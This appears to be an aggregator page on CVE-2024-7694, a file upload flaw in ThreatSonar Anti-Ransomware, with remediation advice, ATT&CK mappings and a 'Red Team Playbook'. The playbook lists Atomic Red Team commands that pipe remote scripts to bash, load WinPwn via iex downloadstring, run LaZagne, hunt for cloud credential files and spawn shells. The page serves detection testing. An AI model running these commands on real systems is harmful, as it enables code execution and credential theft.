CVE-2024-7694
Overview
The vulnerability is an improper validation flaw classified under CWE-434, related to unrestricted file upload. The root cause lies in the TeamT5 ThreatSonar Anti-Ransomware product's failure to validate the content and type of files uploaded through its administrative interface. This flaw affects the file upload component responsible for handling administrator-initiated file submissions on the platform.
Vulnerability Description
ThreatSonar Anti-Ransomware from TeamT5 does not properly validate the content of uploaded files. Remote attackers with administrator privileges on the product platform can upload malicious files, which can be used to execute arbitrary system command on the server.
Impact
An attacker with administrator-level access can leverage this vulnerability to execute arbitrary system commands on the server hosting the ThreatSonar Anti-Ransomware product. This can lead to full system compromise, including unauthorized control over the server environment and potential lateral movement within the network. The prerequisite is possession of administrative credentials on the product platform, which may be obtained through other means. The business impact includes potential data breaches, disruption of anti-ransomware defenses, and compromise of the host infrastructure.
Solution
TeamT5 has issued security advisories accessible via https://www.twcert.org.tw/en/cp-139-8000-e5a5c-2.html and https://www.twcert.org.tw/tw/cp-132-7998-d76dd-1.html, recommending immediate application of patches addressing file upload validation in ThreatSonar Anti-Ransomware. Administrators should update to the fixed product versions as specified in these advisories. No specific workaround is provided; therefore, applying the vendor-supplied patches is the primary remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in ThreatSonar Anti-Ransomware arises from inadequate validation of uploaded files, allowing remote attackers with administrative privileges to introduce malicious files into the system. This flaw can be exploited to execute arbitrary commands on the server, potentially leading to severe security breaches. The lack of stringent file validation checks means that any file, regardless of its content, can be uploaded and processed by the application. This oversight creates a pathway for attackers to manipulate the server environment, leading to unauthorized access and control.
Attack vectors for this vulnerability are particularly concerning due to the requirement for administrative privileges. An attacker who has already gained such access can leverage this weakness to upload a variety of malicious payloads. For instance, they could upload a web shell or a script designed to execute commands on the server. Once the malicious file is executed, the attacker can perform actions such as data exfiltration, further system compromise, or lateral movement within the network. Additionally, the exploitation can occur through social engineering tactics that trick legitimate users into uploading harmful files, thereby bypassing traditional security measures.
The real-world impact of this vulnerability is significant, especially for organizations relying on ThreatSonar for ransomware protection. If exploited, the consequences could include data breaches, loss of sensitive information, and operational disruptions. The financial implications can be severe, ranging from immediate remediation costs to long-term reputational damage. Businesses may face regulatory scrutiny and potential fines if sensitive data is compromised. Furthermore, the ability to execute arbitrary commands can lead to the deployment of additional malware, creating a cascading effect that exacerbates the initial breach.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments and penetration testing can help identify weaknesses in the system before they can be exploited. Additionally, employing robust file validation mechanisms is crucial. This includes implementing strict checks on file types, sizes, and content to ensure that only legitimate files are processed. Monitoring and logging file uploads can also provide valuable insights into suspicious activities, enabling quicker response times to potential threats. Furthermore, organizations should enforce the principle of least privilege, ensuring that administrative access is granted only to trusted personnel and that users are educated on the risks associated with file uploads.
In conclusion, the vulnerability in ThreatSonar Anti-Ransomware represents a critical security risk that can be exploited by attackers with administrative access. The potential for arbitrary command execution poses a serious threat to the integrity and confidentiality of organizational data. By adopting proactive detection and mitigation strategies, businesses can significantly reduce the risk associated with this vulnerability and enhance their overall cybersecurity posture. Continuous vigilance and a commitment to security best practices are essential in safeguarding against such threats.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Teamt5 | Threatsonar Anti-Ransomware | All |
cpe:2.3:a:teamt5:threatsonar_anti-ransomware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-7694 |
| twcert.org.tw |
GitHub CVE
third-party-advisory
|
https://www.twcert.org.tw/tw/cp-132-7998-d76dd-1.html |
| twcert.org.tw |
GitHub CVE
third-party-advisory
|
https://www.twcert.org.tw/en/cp-139-8000-e5a5c-2.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-7694 |